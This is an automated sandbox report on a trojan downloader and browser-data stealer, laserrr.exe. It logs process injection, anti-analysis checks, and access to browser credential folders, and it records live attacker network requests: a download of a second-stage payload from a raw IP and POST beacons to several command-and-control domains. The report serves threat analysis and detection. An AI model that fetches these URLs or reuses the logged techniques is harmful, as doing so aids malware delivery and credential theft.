Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Feb. 7, 2025, 2:11 p.m.	Feb. 7, 2025, 2:17 p.m.

Size	128.5KB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`3c723a1f7fb2d94308da84750fc7a75c`
SHA256	`a39e8533d1876c66958064d71572e8eb233b09dc4fc2488a07a1c03601f98e9e`
CRC32	`F3EAE109`
ssdeep	`3072:Dp7N4kUfzbspKNMOccF6l3iMAelbWTz6aLYXDMx4:DVNXUMyMOUIGbWxS`
Yara	PE_Header_Zero - PE File Signature IsPE64 - (no description)

laserrr.exe "C:\Users\test22\AppData\Local\Temp\laserrr.exe"
884
- RegAAsm.exe "C:\Users\test22\AppData\Local\Temp\RegAAsm.exe"
  2532
runonce.exe "C:\Windows\SysWOW64\runonce.exe"
2664
- firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
  2856
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
www.seasay.xyz	A 103.106.67.112	103.106.67.112
www.l63339.xyz	A 162.218.30.235	162.218.30.235
www.tumbetgirislinki.fit	A 104.21.16.1 A 104.21.96.1 A 104.21.112.1 A 104.21.64.1 A 104.21.80.1 A 104.21.32.1 A 104.21.48.1	104.21.16.1
www.sqlite.org	A 45.33.6.223	45.33.6.223
www.lucynoel6465.shop	A 104.21.16.1 A 104.21.96.1 A 104.21.112.1 A 104.21.64.1 A 104.21.80.1 A 104.21.32.1 A 104.21.48.1	104.21.32.1

IP Address	Status	Action
103.106.67.112	Active	Moloch
104.21.16.1	Active	Moloch
104.21.48.1	Active	Moloch
162.218.30.235	Active	Moloch
164.124.101.2	Active	Moloch
45.33.6.223	Active	Moloch
87.120.120.56	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 87.120.120.56:80 -> 192.168.56.103:49162	2400009	ET DROP Spamhaus DROP Listed Traffic Inbound group 10	Misc Attack
UDP 192.168.56.103:53673 -> 164.124.101.2:53	2027871	ET INFO Observed DNS Query to .fit TLD	Potentially Bad Traffic
TCP 192.168.56.103:49174 -> 104.21.48.1:80	2027880	ET INFO HTTP Request to Suspicious *.fit Domain	Potentially Bad Traffic
TCP 192.168.56.103:49176 -> 104.21.48.1:80	2027880	ET INFO HTTP Request to Suspicious *.fit Domain	Potentially Bad Traffic
TCP 192.168.56.103:49162 -> 87.120.120.56:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 87.120.120.56:80 -> 192.168.56.103:49162	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 87.120.120.56:80 -> 192.168.56.103:49162	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 87.120.120.56:80 -> 192.168.56.103:49162	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49175 -> 104.21.48.1:80	2027880	ET INFO HTTP Request to Suspicious *.fit Domain	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Feb. 7, 2025, 2:03 p.m.			0	0
IsDebuggerPresent Feb. 7, 2025, 2:03 p.m.			0	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 7, 2025, 2:03 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://87.120.120.56/crypt/laser.exe

Performs some HTTP requests (8 events)

request	GET http://87.120.120.56/crypt/laser.exe
request	POST http://www.l63339.xyz/vhr7/
request	GET http://www.l63339.xyz/vhr7/?8eahTb_=iaSfD1StI7hDT4qLO8uUiRMZCfzOjk7n7gYmLjmbAGxKTACTDmsojAseBTws2ae3nsJ7oX723eTW3ctEzpxpoAGWw5lYsZyjnFbtqE7RDBWvF3wnDTau3wgNIBcGnVL27k7EtEM=&00Dj=kNZ8XRK0WV
request	GET http://www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip
request	POST http://www.tumbetgirislinki.fit/k566/
request	GET http://www.tumbetgirislinki.fit/k566/?8eahTb_=RARW43WNMKajmHobr0h+FYOVnPeo69WXvXreCHJ6fEp5jkldk9mcfHn6UnU82+9OdsowyVV8wlYPh4e4mYqP64YSjghMuBr0WoXV5avhz1caW9rj8asJcaLGlYzIq2qtHDCYWJw=&00Dj=kNZ8XRK0WV
request	POST http://www.lucynoel6465.shop/jgkl/
request	GET http://www.lucynoel6465.shop/jgkl/?8eahTb_=hI+cEEoDMRK5HtHm9IZKcVLqeO4rH3Lo+nuR9x41ri89hVkyLZ4bcwu1mex5brSMZV4GWavlrf0/NsblmXI4eKNzhD3LBC/4pVsqqx1rwhcrHMghz/r2elc8myKvxM7B12e/f+g=&00Dj=kNZ8XRK0WV

Sends data using the HTTP POST Method (3 events)

request	POST http://www.l63339.xyz/vhr7/
request	POST http://www.tumbetgirislinki.fit/k566/
request	POST http://www.lucynoel6465.shop/jgkl/

Allocates read-write-execute memory (usually to unpack itself) (50 out of 57 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000009b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3c8b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 2555904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002330000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002520000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef35f4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e4a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93efc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f26000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e6b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93f70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e5a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e4b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e9c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e6d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e9d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fb1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93e5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 7, 2025, 2:03 p.m.	process_identifier: 884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93fc6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Steals private information from local Internet browsers (4 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\
file	C:\Users\test22\AppData\Local\Chromium\User Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\RegAAsm.exe
file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\RegAAsm.exe
file	C:\Users\test22\AppData\Local\Temp\sqlite3.dll

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Feb. 7, 2025, 2:03 p.m.	flags: 15 family: 0		111	0

Communicates with host for which no DNS query was performed (1 event)

host

87.120.120.56

Attempts to identify installed AV products by installation directory (2 events)

file	C:\Users\test22\AppData\Local\AVAST Software\Browser\User Data
file	C:\Users\test22\AppData\Local\AVG\Browser\User Data

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\RegAAsm.exe

Manipulates memory of a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2532 manipulating memory of non-child process 1888
NtMapViewOfSection Feb. 7, 2025, 2:11 p.m.	section_handle: 0x0000004c process_identifier: 1888 commit_size: 0 win32_protect: 64 (PAGE_EXECUTE_READWRITE) buffer: base_address: 0x03b50000 allocation_type: 0 () section_offset: 0 view_size: 8392704 process_handle: 0x00000050	1	0	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2532 called NtSetContextThread to modify thread in remote process 2664
NtSetContextThread Feb. 7, 2025, 2:12 p.m.	registers.eip: 2005598660 registers.esp: 1898908 registers.edi: 0 registers.eax: 564976 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000064 process_identifier: 2664	1	0	0

File has been identified by 51 AntiVirus engines on VirusTotal as malicious (50 out of 51 events)

Bkav	W64.AIDetectMalware.CS
Lionic	Trojan.Win32.TinyDow.4!c
Cynet	Malicious (score: 99)
CAT-QuickHeal	Trojan.Generic.TRFH1151
Skyhigh	BehavesLike.Win64.Discord.cm
ALYac	Gen:Variant.Jalapeno.897
Cylance	Unsafe
VIPRE	Gen:Variant.Jalapeno.897
CrowdStrike	win/malicious_confidence_100% (W)
BitDefender	Gen:Variant.Jalapeno.897
K7GW	Trojan ( 005ae33b1 )
K7AntiVirus	Trojan ( 005ae33b1 )
Arcabit	Trojan.Jalapeno.897
VirIT	Trojan.Win64.MSIL_Heur.A
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.QHY
APEX	Malicious
Avast	Win64:DropperX-gen [Drp]
ClamAV	Win.Packed.Msilzilla-10008468-0
Kaspersky	HEUR:Trojan.MSIL.Tasker.gen
Alibaba	TrojanDownloader:MSIL/TinyDow.86d47069
MicroWorld-eScan	Gen:Variant.Jalapeno.897
Emsisoft	Gen:Variant.Jalapeno.897 (B)
F-Secure	Heuristic.HEUR/AGEN.1313095
DrWeb	Trojan.DownLoaderNET.425
TrendMicro	TROJ_GEN.R002C0DB625
McAfeeD	ti!A39E8533D187
Trapmine	malicious.moderate.ml.score
CTX	exe.trojan.msil
Sophos	Troj/Dloadr-EGM
SentinelOne	Static AI - Malicious PE
FireEye	Generic.mg.3c723a1f7fb2d943
Google	Detected
Avira	HEUR/AGEN.1313095
Kingsoft	MSIL.Trojan.Tasker.gen
Gridinsoft	Trojan.Win64.Downloader.sa
Microsoft	TrojanDownloader:MSIL/TinyDow.A!MTB
GData	Gen:Variant.Jalapeno.897
Varist	W64/MSIL_Troj.FQE.gen!Eldorado
AhnLab-V3	Trojan/Win.Generic.C5227360
DeepInstinct	MALICIOUS
Malwarebytes	Generic.Malware.AI.DDS
Ikarus	Trojan-Downloader.MSIL.TinyDow
Panda	Trj/CI.A
TrendMicro-HouseCall	TROJ_GEN.R002C0DB625
Tencent	Msil.Trojan-Downloader.Ader.Fflw
huorong	Trojan/MSIL.Agent.fc
Fortinet	MSIL/Tiny.BVX!tr
AVG	Win64:DropperX-gen [Drp]

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (2 events)

dead_host	192.168.56.103:49173
dead_host	103.106.67.112:80

laserrr.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All